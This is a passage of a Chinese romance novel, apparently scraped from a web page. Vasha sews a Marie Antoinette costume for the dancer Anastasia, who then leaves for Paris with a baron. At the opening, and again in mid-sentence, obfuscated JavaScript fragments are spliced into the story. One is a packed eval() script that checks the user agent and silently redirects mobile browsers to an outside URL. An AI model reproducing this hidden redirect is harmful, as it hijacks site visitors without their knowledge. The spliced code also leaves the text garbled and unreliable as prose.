l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536681|170903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为她脱下舞鞋,尽情亲吻她的脚趾,他亲吻她身体的每一处,他疯狂而执拗,他恨不得无时无刻不监视着她,她总是在他的执拗之下表现的极为顺从,带着温柔的纵容。他每一次都不做到最后一步,他奉行了父亲告诫他的传统,在她成为他的妻子之前,他永远都不会做那种事。有时他在舞台底下看向她,产生疯狂的念头,她那样的璀璨夺目,他只需要违逆自己的意志,将她永远困在身边,让她成为他的妻子为他养育孩子,而不是在舞台上跳舞。她总是在他耳边喊他,‘瓦沙伯奇尼’‘瓦沙伯奇尼’。她总是那样欢快地喊他,让他抛弃了自己那些想法,让他在心底发誓,他一辈子都不会那样对她,他会永远忠于她,他会永远爱她,他会永远按照她的想法,让她在舞台上闪闪发光,他会永远承受她的欲望,而不是将欲望施加给她。 阿纳斯塔西娅总能看穿他的意图,见他忍得不得了,她总会笑出声,抱着他背过身去。他就那样穿过她两腿之间,无数次他都想要直接得到她,她好像故意试探他一样,在其中得到了兴味,发出高昂的叫声。她的声音那样动听,欢愉的叫声在他耳边如同引他下地狱的莉莉丝。她越是试探他,他越是要像信徒献忠那样、绝不轻易地让她得逞。他有时会感到懊恼,抚慰她直到她高潮为止,逼她喊他的名字。他要她永远都不能忘记他。 他逼得她痛苦地喊他的名字时,他又感到懊悔。他总是想要质问上帝,为何不赐予他明亮、温柔,坦然的性格,为何总让他生活在阴云密布之中,牵连阿纳斯塔西娅要承受他的阴郁。他见她痛苦,总是会掉下眼泪来,她头一回见到他掉眼泪,惊讶地凑过来吻他的眼泪。她向他发誓,她爱他欢愉至死,不曾因为他感受到痛苦。 日子一长,他们如同生活在被糖水泡发的蜜罐之中。平淡的日子被劈成了两半,一端属于极端的幸福,另一端属于极端的痛苦,他们总有分开的时候。阿纳斯塔西娅演出或者练习的时候,瓦沙周二和周四的日子照常去游乐场,他意识到自己需要更多的金钱,他们彼此知道对方的一切。阿纳斯塔西娅甚至在某个无聊的夜晚数了他的眉毛有多少根。每个她不曾在的夜晚,他待在写字台前,总是工作到很晚,他不知疲倦,在寂寥的夜晚做出来了大量令人惊叹的首饰。贝母螺片拼成的盘子、珍珠与贝壳做成的梳妆镜,珍珠编织而成的手链与黄金宝石项链,他常常带着夜晚做成的首饰去找突尼斯商人。那些突尼斯商人在夜晚销声匿迹,只在白天出现。据他们所说,是他们得到了占卜的指示,说人类世界再过一百年或者两百年,忧郁症会在人群之中盛行,专门侵蚀夜晚不在睡梦之中的人类。原本负责他的首饰出售的是老阿卜杜勒,老阿卜杜勒很喜欢他做的那些首饰,给出的价格也很高。他已经有一段时间没有见到老阿卜杜勒了,准确来说,大部分的时间,他的心思并不在游乐场里,从不注意那群突尼斯商人,等他注意到的时候,老阿卜杜勒消失了。他询问了两名突尼斯商人老阿卜杜勒的去向,他们也不知道老阿卜杜勒去了哪里,他们告诉他很可能过段时间、要不了多久,他就会再见到老阿卜杜勒。 “嘿!瓦沙伯奇尼!我很高兴见到你……看来你恢复得还不错,上帝保佑,这是一件值得高兴的事情。”费德里科对瓦沙说。 “您有见过老阿卜杜勒吗?”瓦沙问。 “上帝保佑,瓦沙伯奇尼,我很想告诉你,很可惜我也不知道他去了哪儿。上周我还在花池那里见过他,他到处兜售他的那些糖罐子。除此之外我没有见过的……老兄,我整天只能待在这儿——只有二十平方的印刷室,我倒是想多见见那些突尼斯商人。说实在的,我认为钻火圈的那些动物,有的时候,我认为它们比我要自由多了,这实在是该死的念头。”费德里科说。 “请您不要那么想,您在印刷室里,也有很多能够做的事情。比如看看书、研究一些您喜欢的红茶,或者是照顾游乐场的小朋友们,希望这些能够带给您快乐。”瓦沙说。 “瓦沙伯奇尼。我说——瓦沙伯奇尼。”费德里科哈哈大笑起来,他用一种睿智的目光看向他,对他说,“与其做这些,我还不如去酒馆喝的大醉有意思。你说的这些……它们太高雅了,不适合我、不适合像我们这样最下层的职员。瓦沙伯奇尼,我真心佩服你有一颗不问世俗的心。今天晚上……你要跟我一起去酒馆喝酒吗?” “不必了,先生,很抱歉。”瓦沙说。 比起听同事抱怨,他自然更喜欢和阿纳斯塔西娅待在一起。当他回到家,阿纳斯塔西娅在等他,首先他们要亲吻对方一个小时,互相告诉对方今天发生了什么,她欣喜地告诉他她即将担任主舞的位置,拜托他为她做一件裙子。他在此之前从来没有做过裙子,可她那样请求他,他在深夜里找到了新的要做的事情。她要饰演的角色是《断头皇后》里的玛丽皇后,玛丽.安托瓦内特。他需要为她制作最后一幕的白裙子。 他在写字台前画图纸的时候,她在他身边翩翩起舞,佯装成舞台上的天使,叽叽喳喳地围绕在他身边,令他神思无法凝聚在图纸上,他却也无法责怪她。 他亲自为她量尺寸、从她的肩颈到腰围,再到她的手腕,她在他怀里转了一个圈,笑意吟吟地看着他。她喊他‘瓦沙伯奇尼’,告诉他一定要做出来一条最美丽的裙子。 深夜时分,他亲自去找那副玛丽皇后被送上断头台的画作,他凝视着画作上的女人,比对了十几种布料,最后选了粗棉的白布作为里层,外层则是轻薄纱质的透纱。画作上的女人在断头台前毫无惧意,据说她在死之前还向人道歉,画作的暗色透露着不详的味道。他点了一盏小小的油灯,当他点亮烛光时,火焰倒映在粗棉布上,映出一片暗沉的红色。窗外的十字架随着暴风雨倾斜晃动,在黑夜里犹如数道黑影,他仿佛在雨幕之中看到了一道白色的身影。那是他白天放置在花园里的白色洗布,如今它在夜晚尽情飘摇,十字架在泥土里晃动的声音嘲哳难听,随着夜晚的暴风雨形成一场血腥的演奏。 瓦沙看着这一切,他童年里鲜少有的回忆,他回忆起来父亲在临死之前,总是说自己看到了一把斧头,他在临死前的时光,一边咳嗽一边告诉卡拉米叔叔,让他远离斧头。当时没有人在意这微不足道的提醒,后来父亲去世了。十年后,德米特里.阿列克桑德尔死了,他那天去镇上的一户人家修门板,那户人家的屋顶旁悬挂着一把斧头,德米特里.阿列克桑德尔被那把斧头砸中脑袋,当场毙命。 此时此刻,当他看到那窗外飘荡的白色洗布,在暴风雨之中变成了玛丽.安托瓦内特的模样,似乎在大声地嘲笑他即将遇见的某种宿命,他很想立即把手上的白棉布丢掉,告诉阿纳斯塔西娅,他不会为她做这条不详的裙子,也不会再允许她去跳舞。然而瓦沙并没有那么做,人在感受到命运的时刻,从来不认为微小的举动能够改变整个未来。 5. 第五章 老阿卜杜勒:“您还好吗?听说我不在的这段时间您在找我。我最近在忙于其他的事情、您知道的,我总有一些其他的事情要忙,当我想起您的时候,我从药商那里额外换来了两颗乌拉圭宝石,我想您会喜欢它们的。瓦沙先生。” 老阿卜杜勒年龄已经很大了,他那张黝黑的脸上留下来了深刻的皱纹,他仍然在笑着,笑呵呵地拿出来了两颗石头给瓦沙,那是纯黑色的黑曜石,另外他还送给了瓦沙一瓶魔法药水。老阿卜杜勒声称免费送给他的,如果某天他需要的时候,他一定会想起来。他一分钱都没有收,并且从瓦沙这里买去了大量的首饰,在这里东方的首饰能够卖得非常好,很多贵族情愿收藏,瓦沙又用那些钱从老阿卜杜勒那里换了一些材料,用来给阿纳斯塔西娅做裙子和面纱。 “您去了哪里?尽管我们只是买卖人的关系,我想某些时刻……您对我非常了解。您似乎拥有一双能够看穿他人心灵的眼睛,尽管我认为那只是表象,我仍然十分关心您……当然您也并不是非要告诉我。”瓦沙说。 说实在的,老阿卜杜勒不在的时候,他感到有片刻的寂寞。那情感说不清道不明,平常他从老阿卜杜勒那里总是换很多的东西,他们聊的东西并不多,或许老阿卜杜勒能够称得上是他的朋友。他并不愿意表露这种情感,只当作是随口一问。 老阿卜杜勒笑呵呵地回答他,“我去了地中海。地中海、您一定知道,那是通往我家乡的必经之路,我在那里看到了很多沉船,据说在海里淹死的人们会永远无法回到家乡。我去了沉船的幽灵海面,瓦沙先生,我很高兴您问我,像我这样的老家伙,鲜少有人过问我去了哪里。您是唯一一个……我去了那里,我见到了很多从世界各地沉没的船,我过去是为了给那些亡灵送上祝福,让它们早日回到自己的家乡去,回到了无纷争之地,而不是终日在大海上飘荡。” 瓦沙倒是很想向老阿卜杜勒打听,问问他是否有看过一艘名为远洋号的船,他并没有问。一来他们没到诉说心事的地步,二来老阿卜杜勒总是神秘只言片语,他并不认为老阿卜杜勒说的都是真的。 “我明白了,感谢您告诉我……您注意安全,希望您身体健康,万事如意。”瓦沙说。后面的两句是父亲教给他的。他为老阿卜杜勒送上了最真诚的祝福。 “会的,先生,您也是,瓦沙先生,请您保重身体。”老阿卜杜勒说。 瓦沙画好了图纸,他把后花园的洗布收到了最角落的位置,保证自己再也看不见它。他购置了一台小型的缝纫机,用图纸将布料剪裁分明,他早晚都忙碌于写字台前,在他没有注意的时候,某天他打开了信筒,发现信筒里已经满了,全部都是小卡拉米写来的信。他这才意识到自己这段时间的忙碌,那些信他一封封拆了仔细地看,并回复了小卡拉米。小卡拉米在信中告诉他他们在学校里举办了化妆舞会、他和他的朋友列奥纳多成为舞会的主角,他在信中提到最多的便是列奥纳多,他的这位贵族朋友甚至把他带回了家。 瓦沙写给小卡拉米回信。 亲爱的谢尔盖.阿列克桑德尔: 我很高兴收到你的那些信,小谢尔盖,由于我最近没能查看信筒,当我打开它们的时候,里面全部都是堆积的信件。为此我感到抱歉,我同样十分高兴,你如此惦念我,我仔细地查看你的每一封信件,总是担心自己会从中读漏某个字眼。首先,我感到十分高兴,你们的化妆舞会和演奏都大获成功,恭喜你第一次作为主持人举办同龄人的聚会、能够如此顺利,我想这其中不免需要领导力与和人沟通的能力,我相信你都能够做的很好。我常常认为我们之间既是朋友,我也是你的兄长,肩任着德米特里.阿列克桑德尔去世之后的一部分责任,我认为不仅仅是责任,我本身爱着你,才会认为这份责任理所应当。最近我在忙于的事情,我整日整夜都在做首饰,我爱上了一个女人,她的名字叫做阿纳斯塔西娅。她是一位热烈、充满活力,像紫色鸢尾花一样的女士,我诚心诚意地迷恋她。我们之间已互通心意,如果有可能,等你下次回来,我会让你们见面。我很高兴见证你与列奥纳多的友谊,我认为他拥有无与伦比的口才与领导他人的能力,想必他一定是一位富有魅力的人。亲爱的谢尔盖,我想你一定听说过西西弗斯的故事,这世上已无诸神,人间却处处都是诸神,哥哥不希望你日夜推举巨石,只希望我仍然能够常常听到你的琴声。 ——挚爱着的瓦沙伯奇尼 瓦沙把那封信放至寄信筒中,那件白裙子已经初见端倪,有了美丽的轮廓。阿纳斯塔西娅见到之后,第一件事便是试穿它,她穿着粗布棉制作的白裙子。因玛丽皇后在行刑时,后期已经相当节俭,用粗布十分合适。瓦沙担心阿纳斯塔西娅跳舞时会困扰,他特意在里层缝了一层蚕丝与细棉布。蚕丝没有那么充足,这是极其昂贵的布料,他混合了细棉布,保证裙摆不会蹭伤她的脖颈与膝盖。 “它实在是漂亮极了,瓦沙伯奇尼。瓦沙伯奇尼……你为了我成为了裁缝,我该如何感谢你才好!”阿纳斯塔西娅抱着他,她在他怀里笑起来,眼睛变得极其明亮,兴致勃勃地已经预料到演出会大获成功。 “我敢保证,尽管这条裙子并没有做完,我可以保证,它一定无与伦比,到时候我会穿上这条裙子。让这条裙子成为舞台上最闪耀的存在——尽管它朴素又纯白,我认为它一定能够脱颖而出!因为它出自于瓦沙伯奇尼之手!瓦沙伯奇尼,我的演出一定会大获成功……到那个时候,我要用赚来的钱为你重新修一座写字台。我认为它有点矮了,并且过于窄小,我想让它变得宽敞一点儿,这样你可以更好地工作。还有你做的那些首饰……我会问问那些舞女小姐们。虽然我很不喜欢维罗尼卡,她却很喜欢收集首饰,我会努力跟她搭话的,如果她能买你的首饰——我会和她成为朋友的,我保证!瓦沙伯奇尼!”她高兴地大喊大叫,在他耳边不停喊他的名字,好几次,瓦沙以为自己会在阿纳斯塔西娅的喊叫下死于耳聋。 瓦沙已经知道阿纳斯塔西娅的一切,知道她的家庭并不富裕。她从小展现出来了跳舞的天赋,父亲成日酗酒、成日喝醉之后胡乱言语,认为南北不应该统一,认为南方是一片被诅咒的土地。终于在她九岁那边,父亲抛下了她们母女,和一群威尼斯商人走了。那群威尼斯商人说带她父亲去美洲,美洲富庶繁华,比北方的米兰、热那亚,威尼斯都要繁华的多,比英国法国还要更加奢烂迷醉,不知她父亲如今是否抵达美洲那片天堂。她的母亲在修道院,每周靠着救济金和母家工作过的贵族家打赏,付得起阿纳斯塔西娅的学费和买舞鞋的费用。除此之外,还要感谢她的跳舞老师,尽管她贫穷,那位女士总是允许她在走廊外看她们跳舞,并且允许她在结束之后去到她家去。她在童年时期和自己的老师度过了一段愉快而治愈的时光,使得她有这样的性情,贫穷却不以为耻,为了梦想格外愿意付出时光与汗水。她常常和瓦沙打闹欢乐,实际上在她没有演出时,她每天最少跳四五个小时,当她的练习结束,她会换上平常的衣裳到瓦沙那里去。大部分时刻,她认为瓦沙的家是她的乐园,她在这里可以随意地大喊大叫。任何一个男人,如果知道她本性如此——喜欢大喊大叫、疯狂痴迷,四处撒疯,没有一个男人会再认为她美丽的外表能够掩盖这一切。但是瓦沙伯奇尼,瓦沙伯奇尼如同这片岛上最深邃的祖母绿海,能够包容她,仍然能够爱她。至于她的母亲,她的母亲是一位传统的女性,认为女儿擅长的事情十分令人不齿。自从阿纳斯塔西娅踏入剧院,她搬迁至修道院,每个月只给阿纳斯塔西娅固定的生活费用,收她的信件,却从不回信,也不愿意见她。她日日在上帝面前忏悔,希望上帝能够宽恕女儿主动堕落的灵魂。 “如果按照母亲那样讲,那么有人天生擅长抵达天堂的路,有些人却擅长堕落,她们拥有堕落的天性——那么,这个时候应该摒弃所谓的天性,而去追逐不适合自己的朝圣之道吗?”阿纳斯塔西娅总是想反问母亲,可她的母亲如同知道承担不了她的质问那样,更加不愿意见她。承认自己的罪恶,这是一件痛苦的事情。 瓦沙并不觉得窗前的写字台矮小,它已经陪伴他很多年。阿纳斯塔西娅说它矮小,他倒是产生了身体狭窄的错觉,他在缝纫机前忙碌,尽管他很不擅长——他第一次使用缝纫机,笨拙地重复上线和收线,他在这一时期总是食指裹上一层厚重的绷带,这样能够避免被扎伤。他在写字台前时,阿纳斯塔西娅翻看他书架上的书籍。她从书籍最角落找到了父亲留下来的那本汉语译成意大利语的词典,她高兴地咯咯笑个不停,用他的钢笔在纸上写下来一串串的鬼画符。他在忙碌的嗡鸣声看向她的侧脸,她朝他嫣然一笑,他们两人互相低头继续做自己的事情。 时间在缝纫机的漫长工作中流逝。阿纳斯塔西娅走的时候并没有打扰他,他在深夜才意识到自己已经在写字台前坐了太久,写字台旁边的桌子上,那里有阿纳斯塔西娅放置的松饼,松饼已经凉了。阿纳斯塔西娅从二手市场买回来了两个水晶杯,固执地认为相爱的人首先要融入对方的生活,用特意买的杯子是其中的一种。他在这时感到头昏脑胀,这种迟缓的疲劳席卷了他,他扫见了从老阿卜杜勒那里得来的药水。他记不清自己多少个夜晚在深夜工作,那瓶药水浑身青绿,上面写了很多北非的古老文字。他想起老阿卜杜勒的话,当他需要的时候自然就会想起来,这个时候他不得不思考,老阿卜杜勒是否真的具有某种魔法。他喝了那瓶药水,在药水的作用下安然入睡,在睡前记起自己缝了多少针脚,梦里出现了那条裙子。那条白裙子放置在正中央,两旁一边是光明的白雾,一边是漆黑看不见的泥土。两边都有人在说话,他们在低语,在他耳边低语,原来他被送上了东西方一齐认证的审判堂。 他不清楚审判者是谁,只知道他们属于两个地方。一方批判他犯了堕落罪,为了一个舞女成为了更加低贱的裁缝,抛弃了自尊与脸面。另一方认为他不应日夜待在写字台前,他在家中一隅已经日益变得阴郁,在阴影的倒影下皮肤白的似脱形的鬼魅。两方争执不休,最终判定他为不归乡的罪名,诞生在东方的灵魂待在不属于自己的土地上,这本身便是莫大的罪名。最后那条白裙子逐渐地变成了玛丽皇后的模样,玛丽皇后发出凄厉的笑声,大声训斥他,这世上所有的不幸都会传染,像黑死病那样朝着人类蔓延。 只要人类还存活一天,这份不幸伴随着人们永远都不会灭绝。 阿纳斯塔西娅出演舞台剧的当天,瓦沙给她送去了裙子,他由于工作没有去看阿纳斯塔西娅的演出。不知是出于对梦境的敬畏,还是因为费德里科找他轮值。费德里科的誓言至少坚持了三个月,这显得无比可贵。他诚心诚意地敬佩费德里科,收下了费德里科找来的宝石,替费德里科执勤。他在印刷室待了一整天,演出结束后,他才到剧院去等阿纳斯塔西娅。 这一天的人们高兴极了,法□□亚纳的人们,他们从剧院出来,不约而同地讨论着什么事情。他们神情激动、像是看到神迹一样眼里放着光,叽叽喳喳地讨论着,好像参与了一场酣畅淋漓的辩论赛,而他们讨论的话题,正是和这场演出有关。 如阿纳斯塔西娅所计划的那样,她的演出大获成功,现在整个镇上没有人不知道她的名字,阿纳斯塔西娅,整座法□□亚纳的人们都知道了,她是这座小镇上最瞩目的舞女,并且有可能被那位在这里持续停留的贵族选上。那位名为斯特法诺的贵族,每当演出令他满意,他会打赏剧院所有的工作人员,据说他是听从了占卜的指示来到这里,来这里寻找能够前往巴黎歌剧院的歌女与舞女。这三个月里,他已经给了好几位舞女特别的礼物,有时候是一枚勋章、有时候是出自巴黎特别设计师之手的首饰,有时候是金币。这一次,他同样送给了阿纳斯塔西娅礼物,送给了她前往巴黎的邀请函。他给她看了他的身份,他是一位男爵,在巴黎拥有众多资产,只需要阿纳斯塔西娅同意,他随时都能够带她去巴黎。带她朝向自己的梦中圣地。 瓦沙在剧院走廊下见到了阿纳斯塔西娅,她缓缓地朝他走来,脸上染上了难以言喻的绯红,那是被名利场熏染的颜色。她也看见了他,她提着裙摆朝他走来,她忍着没有尖叫,她手里拿着一封邀请函,她迫不及待地向他介绍自己碰到了知己。 “瓦沙伯奇尼!多亏了你!多亏了你为我做的裙子!瞧瞧!一切都按照我们计划的那样,我的演出大获成功!负责人告诉我我的身价可以提高到每日演出费三百里拉!他还给了我一笔慰问金!并且为我安排了单独的化妆室!以后我再也不用为了妆容去那间小小的化妆室了!我们还能购置新的写字台!天哪……瓦沙伯奇尼,我还碰见了上回那个人,那个人总是在二楼的单独包厢,人们总是说他是贵族!他送给了我三枚金币……这些金币可以给你用来制作金首饰,我想它们很合适。我见到了他本人、他对每个人物都具有独到的见解,和我不谋而合!我真后悔没有早点遇到他,我们或许能够成为很好的朋友!”阿纳斯塔西娅在他耳边滔滔不绝。 她眼里亮起的光,与她泛红的脸颊,令瓦沙感到不安,他的内心早已生成一片被名为阿纳斯塔西娅的植物占满的大地,现在他感到最深处隐约有一条裂缝在生长裂开,轻微却难以不察觉。 “我很为你高兴。阿纳斯塔西娅。感谢我帮上了忙……但是我认为,或许你不穿那条裙子,也会是一样的结果。”瓦沙说。 “瓦沙伯奇尼。我不得不承认谦虚是一种美德,可有的时候,我们不能一直那样……一直如同局外人一样不欣赏自己原本具有的品性。听着,我绝非虚言,绝对不是因为我爱你,我才会讲出来这样的话,我的实力它们发挥了一半的功劳,剩余的一半,都要归功于你的手艺。如果没有你……可能我也没有信心站在舞台上。瓦沙……我亲爱的瓦沙,我想你一定能够明白。”阿纳斯塔西娅对他说。 “感谢你这么觉得。”瓦沙说。她就好像是天使,总是用那双清透的眼睛说出来最动人的话,鼓励他,将自己的光明化成枝叶分给他。 “话会回来,那位斯特法诺男爵,他看过的书比法□□亚纳图书馆的藏书还要多,尽管我只和他聊了不到一个小时,我的直觉告诉我如此。他不仅知道这世上所有的歌剧院、知道许多著名的歌剧演员与舞蹈演员,他还知晓每一位国王在位期间发生的一切。从欧洲到东方,他无所不知,我认为知识会使人变得睿智。瓦沙伯奇尼,你一定也和我的看法相同吧!”她问道。 “当然了,我也这么觉得。阿纳斯塔西娅,我的房间里也有很多书……如果你想看的话,可以随时去拿。”瓦沙说。 “我不喜欢那些枯燥的文字,比起看书我更喜欢跳舞,但是我很喜欢听故事!瓦沙伯奇尼,那些书你全部都看过吧,只要你讲给我就好了!我也可以变得和你一样有文化!”阿纳斯塔西娅说。 她还是和往常一样,她朝他笑意吟吟地晃过手里的那封信,她对待那封信十分珍重。他意识到的某件事,原本沉郁的面庞此刻再也难以露出笑容,他们都没有提信的事情。可她还是察觉出来了他在不高兴。 “瓦沙伯奇尼,你在介意这封信吗?还是我和那位男爵?您认为我是那么肤浅的人吗……仅仅因为某个男人既有爵位又有学识,我就会像爱上你一样的爱上他吗?在你看来我对你的爱如此廉价吗?请回答我,瓦沙伯奇尼,请您回答我。”阿纳斯塔西娅质问他道。 她用‘您’来称呼他,他什么也回答不出来,他没有她那样善于辩论的嘴巴,当心情感到不快时,他宁愿什么也不说,他相信她的爱同他一样伟大,却也相信她真心喜欢能够欣赏她的人,而他并不能既成为她的爱人,又能够成为欣赏她才能的伯乐。只要她仍然想去巴黎,他意识到这会给他带来痛苦,而他会永远待在这座小镇上,等待她的回应。 “阿纳斯塔西娅,我并没有那样想。我仅仅是有些难过……你应该明白的事情,我知道您并不爱他,我知道您爱我,可您轻松地讲出来这样的话,对我来说是一种莫大的残忍。我希望您能够实现您的梦想,我一定会让您去巴黎。我一定会让您去的,如果您因为我放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15536682|170903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弃了自己的梦想,我会感到自责愧疚,我的道德不允许我那么做。我仅仅是在想您去巴黎以后的日子……您去了之后呢?我一个人待在这里,我无法想象那样痛苦的日子。”瓦沙说。他讲话总是十分平静、用他那特有的东方人的平稳腔调,一五一十地诉说,掩盖了胸腔里的落寞与不甘。 “谁说我一定要去巴黎!我并没有那样讲过! 瓦沙伯奇尼!”她的眉眼闪烁不定,她被他说中了心事,他们彼此已经十分了解对方,这源于他们三个月的日夜亲密接触。她的心情他十足了解,如果她不去巴黎,那么注定这会成为她余生难以平复的心事,她总会想起这一段日子,她明明有机会能去巴黎。她意识到自己在有意地隐藏自己的想法,这并不是一件好事,她决定向他摊陈内心的真实。 “好吧。瓦沙伯奇尼,老实说,我很惊喜也很意外。你不知道……老天,我曾经幻想过多少次我能前往巴黎。那是我从小的梦想,我常常在杂志上看那些能够在巴黎歌剧院跳舞的女郎,我曾经读了好几遍《罗密欧与朱丽叶》和《仲夏夜之梦》,偶尔的时刻,我也在想这位男爵可能是骗子。如果他是骗子……我倒是宁愿为我的梦想赌上这一切,即便是冒险,我也想要前往巴黎,我想去到巴黎歌剧院,我想在那里跳舞。”她注视着他,模样认真而庄重。 “请您相信我……瓦沙,亲爱的瓦沙,请你相信我,就算我去到巴黎,也许我并没有那样过人的天赋,那位男爵可不止邀请了我,除了我还有两名歌女,保证我路上不会孤单。说不定我到了巴黎,很快就会意识到我只是一个土包子、只是再微不足道不过的舞女,只有法□□亚纳的剧院才愿意收留我这种三流舞女,到那时我自然会回来的。或者我去了之后就会明白,巴黎也不过如此,不如我们镇上的一切。重要的是你在这里,瓦沙伯奇尼,你仍然在这里,我的心在你这里,我永远都会回来。到那之后,我会每天都给你写信,我们仍然能够通信,我保证我会每天都给你写信。瓦沙伯奇尼,我保证,即便我们分离,我仍然会爱你,我绝不会有一天忘记你。” 她低贱地称呼自己为‘三流舞女’,她不曾有一刻这样贬低过自己,只为了让他放心。他在此时彻底明白,上帝让人远离过度浓烈的情与爱。它那样的崇高、崇高到人们在它面前自惭形秽,自觉地低下身来,为这份浓烈的爱献上一切自尊。 他们一起回到家,之后的日子是一场美好的幻梦。阿纳斯塔西娅整日都陪着瓦沙,每天晚上,瓦沙秉持着他们仍然只是单身男女的身份,送她回家。他更加繁忙地赶制首饰,因为他为阿纳斯塔西娅做的那条裙子,倒是有人打听到了出自他手,高价请求他量身定制舞裙,他拒绝了。他认为自己无法再专注地做出第二条裙子,他成日成夜地待在写字台前,做出来了一批又一批的首饰,这些首饰等到阿纳斯塔西娅去了巴黎,都能够变卖成当地的法郎。阿纳斯塔西娅总是尽量装出欢乐的模样,为了让他放心,那些首饰她全部仔细地收了起来。她主动地吻他,学习汉字讨他开心,她在他头疼时为他唱起幼时母亲安抚她的童谣,绞尽脑汁地编出来一个又一个的故事,制造无穷多的话题,不让空气陷入沉寂之中。 可再欢乐的日子也总有尽头,两周之后,阿纳斯塔西娅跟随男爵斯特法诺走了。瓦沙仍旧在游乐场工作,这片岛上的游乐场依旧非常热闹,玛利亚圣母像那里聚集着人群,许多突尼斯商人向路过的孩子兜售糖果。费德里科在印刷室里百无聊赖、火圈在夜晚呼啸明亮,老阿卜杜勒笑呵呵地不远处兜售宝石,一切都和原本没什么两样,甚至晚上八点的钢丝表演,他依旧能够做的和之前一样好。阿纳斯塔西娅并不在这里,并不在下面看着他,他恢复了平常的理智与冷静,只是在从玛丽墙跳下来时,他看向那扇镂空的门,会有片刻走神。 阿纳斯塔西娅果真按照她所说的那样,她每天都会给他写信,从走的那一天起,她把日程、每天和谁说了话,每天吃了什么,全部都一字不落地写下来,化成文字传递给他。信送到岛上总需要一些日子,所以他总是在几天后才收到,每次收到的都是前几天的信,他永远无法知道她现在在做什么。他知道她平安地抵达巴黎,如她所想的那样,巴黎是一座梦幻的天堂。 亲爱的瓦沙伯奇尼: 我已经抵达巴黎,首先,我可以肯定以及确定的事情,斯特法诺男爵是一位信守承诺的人。在路上由于我和塔莉娜(同行的歌女)对他并没有那么信任,他答应我们要先带我们去威尼斯歌剧院,我们在那里一起看了当地的歌剧表演。他和威尼斯剧院的负责人是好友,我想没有人不为他云淡风轻的魅力所折服,他是一位十分成功的商人,他临时为我安排了一场表演。尽管是首次配合,由于其中有两场属于我的独舞,并且没有收票据,我在表演之后收到了很多的鲜花和吻。一路上他带我们吃了很多美味的食物,不曾在食物上克扣我们,这位斯特法诺男爵,我认为他对于艺术有着某种追求,我常常看到他一个人在走廊上,夜晚时不曾睡觉,他似乎在忙着创造一场属于自己的舞曲。巴黎的人们……我认为和镇上的人们有所不同。这里的人们行色匆匆,他们欢声笑语,他们衣着讲究、到处都能见到穿着晨礼服的女士们,她们戴着的蕾丝手套十分优雅。我和塔莉娜闲逛误入了某处画展,这里有许多落魄的画家们,这里的人们特立独行,充满魅力。我认为他们身上蕴藏着迷人的生命力。瓦沙伯奇尼……真希望有一天我们能一起来巴黎。 ——挚爱着的阿纳斯塔西娅 那些从巴黎寄过来的信,瓦沙一封不落地全都好好地收藏起来,就像他收藏弟弟的信那样,他仍旧在夜晚做着首饰,唯一改变的仅仅只有他在夜晚清醒的时间变得长了些。清醒的时间他用来做他原本做的那些事,尽管是相同的事情,可时间仍旧变得无比漫长。 他的忧伤没有来得及落在实处,小卡拉米先回来了。他很感谢小卡拉米的出现,这一段时间,他都睡得很晚,如果、如果小卡拉米能够陪伴他,他认为自己的失眠或许能够好转。 小卡拉米从佛罗伦萨回来,这次他待的时间比之前更长些,他没有和列奥纳多一起回来,甚至很少提到他。瓦沙以为他们是闹了一些矛盾,他并没有问,他认为这属于弟弟隐秘的心事。他们像往常一样相处、吃住都在一起,一起出门在镇上闲逛,一起去采买,小卡拉米陪着哥哥一起去卖首饰。倒是有很多岛上的姑娘中意小卡拉米,小卡拉米仿佛迟钝的感受不到,他不曾理会那些姑娘。如果瓦沙这时像以往那样,更加敏锐一些,或许能够发现小卡拉米的不同寻常。 小卡拉米仍然欢乐如常,询问瓦沙他什么时候能够见到阿纳斯塔西娅。瓦沙告诉他那位姑娘去了巴黎,暂时不会回来,等到她回来之后,他一定会让他们相见。小卡拉米很难把瓦沙的话当真。这个镇上的大部分人——他们去了热那亚、去了美洲,去了英格兰,去了巴黎。他们都没有再回来过。 “哥哥,”他说,“文明的发展就像一辆火车,始终是急驰向前的,而那些被它抛下的城市,就像我们法□□亚纳。没人不喜欢坐在火车上,没有哪个人在坐上火车之后想再下来。他们很快就会意识到,那些被火车疾驰而过的城市,那里什么也没有。是一片荒废的废墟。” 瓦沙并没有把弟弟的话放在心上,他并没有听出来弟弟那不同寻常的语气。阿纳斯塔西娅走了,尽管在她走之后,日子变得漫长而难熬,他始终坚信的某种意志,认为阿纳斯塔西娅仍然回来。就像他们的爱情确实发生过那样,她始终像他惦记它那样想着他。他认为文明的割裂将这个世界变成不同大小的废墟与灰烬,只要其中还有生活的人们,仍然还有爱,人们总会回到原本属于他们的地方。 “谢尔盖,我相信,总有一些人。他们不那么适应文明的发展、不喜欢那些虚荣与徒有其表用金钱装点的文明,只要仍然保持着心性纯洁,这一类人……这样的人们,无论生活在哪里,他们总会远离人群,他们不会允许自己孤独的灵魂被同化。他们会一直走在这条路上,直到化成名为文明的灰烬为止。” 6. 第六章 小卡拉米开始关注后花园的那些花,那些紫藤、杜鹃,郁金香和鸢尾花,他最喜欢的是那些紫色鸢尾花,他长时间的待在花园里,有的时候趁着瓦沙工作时前往教堂。他开始去留意自己以前忽视的地方,比如询问瓦沙他的父母有没有留下土地,瓦沙以为他是关心财产问题,告诉他德米特里和海伦娜为他留下的一切。那些都在瓦沙保管着,他把他们都放在了保险柜里,他告诉小卡拉米,他至少仍然能够负担小卡拉米的生活费十年,小卡拉米不必担心财产的问题。等到他结婚的时候,那笔财产会原封不动地给他。 